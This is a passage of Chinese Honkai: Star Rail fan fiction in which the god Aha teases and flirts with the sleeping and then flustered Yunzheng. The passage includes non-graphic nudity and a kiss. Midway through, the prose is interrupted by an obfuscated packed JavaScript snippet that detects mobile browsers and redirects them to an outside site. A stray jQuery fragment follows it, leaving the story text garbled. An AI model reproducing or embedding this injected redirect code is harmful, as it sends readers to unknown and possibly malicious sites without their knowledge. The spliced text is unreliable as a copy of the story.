“可悲的龙就算看见,也打不到阿哈~”
让不朽之龙一而再再而三地破防,狂怒却无能为力,这可真是天大的乐子。
阿哈果然是最棒的星神啦~
祂心情愉悦地眯起了眼睛。
凝视着龙尊恬静的睡容,阿哈突然弯了弯眸,贴近了些,含住泛粉的唇瓣,吮吸、舔舐。
或者说……
让小云峥浑身沾染欢愉的气息,又何尝不是另类地归属欢愉呢?
阿哈想要的,总会抢到手的不是吗。
……
24.挑逗
外界什么情况,丝毫没有影响到此刻的梦境世界。
将阿哈撵出梦境后,龙就小心翼翼地将自家崽揽在怀里,专门调整了姿势以防其不舒服。
云峥的睡容依旧恬静,丝毫没有为外界的多番波折而影响,就跟小时候一样。
龙松了口气,低头轻轻地蹭了蹭他的面颊,发出喟叹。
“吾的孩子……”
没有人可以从祂的手中抢走祂最宝贵的子嗣。
没有人,哪怕是星神。
其实龙刚醒时,也曾质疑过自己是否应该继续存在。毕竟世界已经为祂选择好了结局。
但当祂借助子嗣的双眼看尽持明如今的情况,便不再质疑。
蜗居于他人之地,失去龙的庇护的持明如雨中无根浮萍挣扎于星海中。
即便已经与巡猎的势力达成盟约,依附于仙舟联盟,依旧弱小得可怜,为外人所觊觎。
龙看见,醉心长生的外族混入仙舟,设下阴险陷阱,只为捕获持明族人,为自己的长生铺垫基石。
而自己疼爱的孩子也数次因外族的贪婪落入险境、受伤。
无论无何严防死守,总会被寻到空子,对持明狩猎从未停止。
唯有祂,唯有祂活着。
外族的觊觎才会歇止,对持明的狩猎才会终结。
因为——
没人愿意惹怒一位星神,为自己乃至家人招致毁灭的祸端。
“愿汝安然。”
祂亲吻着他的脸颊,送出诚挚的祝福。
“待吾归来,清算一切。”
祂许下承诺。
/
睁眼时满屏红色,请问您有何作想?
云峥面无表情地伸手抓住阿哈的头发,毫不留情地往上一拽。
“起开。”
他说为什么睡觉时候感觉胸口像压块巨石一样沉,让他睡都睡不安稳,原来是这家伙压在他身上。
就算没有起床气,被这样压着一晚上,云峥心中也不免升起几分烦躁。
“小云峥真凶。”
阿哈捂着被揪疼的位置,眼神幽怨看着云峥。
云峥:“那……请您让开,谢谢。”
要温柔?好,他这很客气。
【已读乱回.jpg】
“好吧,如果是小云峥的话,阿哈就让开吧。”
阿哈不仅说得格外不情愿,退到床角的动作也显得像被云峥逼迫欺压着般。
云峥眯起眼睛,眼神骤然危险起来。
打量着阿哈脸上的笑意,他心中突然有种不妙的感觉。
当余光触及地上散落的衣物,云峥瞳孔一缩,察觉自己身上的衣物变化,扭头便见到阿哈盈盈笑容。
“你又做了什么!”
云峥心态有些崩。
以往祂的乐子就算再怎么大,也不至于如此、如此——
云峥不知道该如何形容这件事,只觉得离谱,离谱至极。
阿哈眨巴眨巴眼睛,表情懵懂,像极了什么都不知道的无辜者。
“小云峥在问阿哈吗?阿哈不知道啊。”
云峥闭闭眼,云峥捏紧拳头,云峥咬牙切齿:“有本事你再说一遍。”
“阿哈什么都没有做。”
阿哈举起手,被祂抓着的被子也随之落下。
“不信小云峥看看,阿哈身上什么痕迹都没有。”
像是为了证明自己的清白,祂干脆爽快地向云峥展示祂精心捏出来的身躯。
“你!”
不着衣缕、白净精壮的身体就这样展示眼前,云峥躲避不及,只能将这一览而尽。
原本神情冷漠的面颊瞬间为粉色布满,就连脖颈也染上绯红。
云峥迅速别过头,一只手挡在侧脸,企图遮挡住脸上晕染开来的红色。
视线游移着向外,不敢再直视阿哈。
云峥后退着想要离开房间,却不经意为地上的衣物所绊个踉跄。
云峥深吸一口气,放下手,逃避般地转过身去,视线却不自觉地扫过阿哈。
光是这么瞥上一眼,他便感觉心砰砰地跳,像是漏掉半拍。
“咳咳咳,你先…把衣服穿上…”
背对着阿哈,云峥很是艰难地挤出一句话,声音颤抖着。
祂怎能如此得不要颜面!
实在太有伤风化了!
“小云峥你倒是再看看啊~”
看出云峥的窘迫,阿哈轻飘飘地凑到了云峥的身后,声音称得上是此起彼伏,“毕竟阿哈都这么努力的自证了。”
“为什么不多看看呢~”
云峥恼怒,却是紧紧闭着眼:“你!”
许是对方知晓了他的不自然,耳边响起了窸窸窣窣的穿衣声。
阿哈浅浅拢上了衣衫,低笑道:“若是小云峥不看,又哪里晓得是不是冤枉了阿哈呢~”
不知如何为自己辩解,云峥欲言又止,止又欲言,半天才吐出半字:“我……”
一只温热的手搭上他的肩膀,随后缓慢平移,像是在感受着那白皙柔滑的肌肤。
皮肤下的生命力透过指腹传递着,脉搏的跳动和血液的流淌清晰之际。
触摸力道不重,但触碰的每一处都变得格外滚烫,愈发刺激人心神。
好不容易消去的红在脸上再次蔓延,不经意间已到耳根。
“小云峥,转过来,看着阿哈~”
祂低哑着声音,诱哄着。
持明的听觉素来敏感,更何况阿哈近乎整个人都快贴在他身上,声音毫无遮拦地传入了耳中。
阿哈的话语像是带着某种魔力蛊惑至极,让人无法抗拒。
迟疑间,肩头微动,云峥便在阿哈的掌控中被迫转回身来。
极近的距离,呼吸交缠。
彼此间只剩下了鼻息间轻轻颤动声。
“听话,睁眼哦~”
炙热的吐息喷洒在脸上,云峥睫毛微颤。
面前的星神的意思不容置喙,他只好顺从地睁开眼睛。
刹那间,青眸与红瞳对视上,虽一言未发,却是比千言万语都要来的强烈。
阿哈眼中的笑意更甚,祂的指尖不知何时落在云峥的心口处。
轻轻打转,若有若无的触感像是撩拨的弦,撩得人越发慌张,心底的情绪也越发悸动不安。
“阿哈…”
心跳不受控制地加快,在祂的注视下,云峥有些慌张。
“你……到底想干什么。”
他微微偏头,想要躲避掉这股火热的视线。
“哈,阿哈什么也没想,只是觉得小云峥应该很喜欢这幅皮囊。”
“不然~为什么这么红啊~”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14093668|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿哈轻笑着,指尖从云峥的心口向上滑动,向着其他位置掠动,似是挑逗。
云峥没有应话,只是耳垂的绯色更深,青色发丝从脸颊边滑过,更显精致的面庞。
面上桃花与腼腆羞涩又多添了些艳丽之色。
“嗯……”阿哈轻唤一声,尾音拖长,像是梦呓,“小云峥是在生气啊~”
“还是——”
“感到害羞呢~”
阿哈的指尖继续游移着,覆上云峥的脸庞,像是要描摹下这份美景,牢牢记住。
“无论是什么样子的小云峥都可爱得令阿哈心生喜爱啊——”祂感叹道。
“既然龙不让阿哈抢小云峥当孩子养,那阿哈只能另辟蹊径了。”
似乎是想到了非常棒的想法,红瞳中染上几分病态的激动。
“不如就让祂将小云峥嫁给阿哈当伴侣吧!”
“这样阿哈不仅能得到小云峥,还不算抢祂的孩子。”
原本带着一丝暧昧的氛围骤然凝固住。
摆脱蛊惑的云峥一把抓住阿哈那只作乱的手,声音蓦然冷下来。
“常乐天君,莫非白日做梦。”
本来云峥被阿哈哄得脑子晕乎乎的,结果听完祂的胆大发言近乎是一秒清醒。
嫁阿哈?当伴侣?
每个字他都明白,但是此时此刻组合在一起却怎么也令他无法理解。
离谱,太离谱了。
云峥紧皱着眉,握着阿哈的手微微带上些力气。
“游戏到此为止吧。”
话音顿了顿,云峥直视着阿哈,一字一顿地说道:
“况且,您之想法过于奇特,恕云峥无法受之。”
阿哈任由着自己的手被抓着,反手覆上云峥抓着祂的手指。
“那可真是太遗憾了,阿哈以为小云峥会喜欢这样的安排呢~”
明明是失望的话语却不见半分失落。
“哈,既然小云峥不满意,那阿哈就再想想办法吧。”
阿哈眯起眼睛,指尖微用点力,便将人整个拉近。
双臂抱紧,不给云峥抵抗的实力,就将人圈进自己怀里。
胸膛贴紧,感受着手底传来的沉稳有力的心跳,阿哈突然开口:“小云峥记得穿好衣服哦~”
“阿哈晚上再来找你。”
察觉到外面来人,不想这么快就失去诸多乐趣,阿哈亲亲云峥的唇角,带着满足而愉悦的笑容松手消失不见。
祂要去准备点好东西带给龙,最好能将其气个半死最好不过了。
当然,若是能因此多出一些好玩的戏码来,阿哈更是求之不得。
屋内,被阿哈松开的人呆愣愣地站着,微颤地抬起手,触及刚刚被亲吻的地方,有些不知所措。
大脑迟缓地开始思考着方才突如其来的情况。
阿哈所说难道……不是假的吗?
可是……
为什么要、要亲…他…?
从未有过如此亲昵之举的矜持己身的云峥忍不住又红了耳尖。
一时间思绪杂乱无章难以理清,最后他只能走向床铺,将地上衣物拾起放置一旁椅上挂着,坐在床沿边怀疑自我。
半晌都未能彻底反应过来,直到房门被外面敲响,才恍惚地为自己披上一件里衣,应声让侍从们进来。
……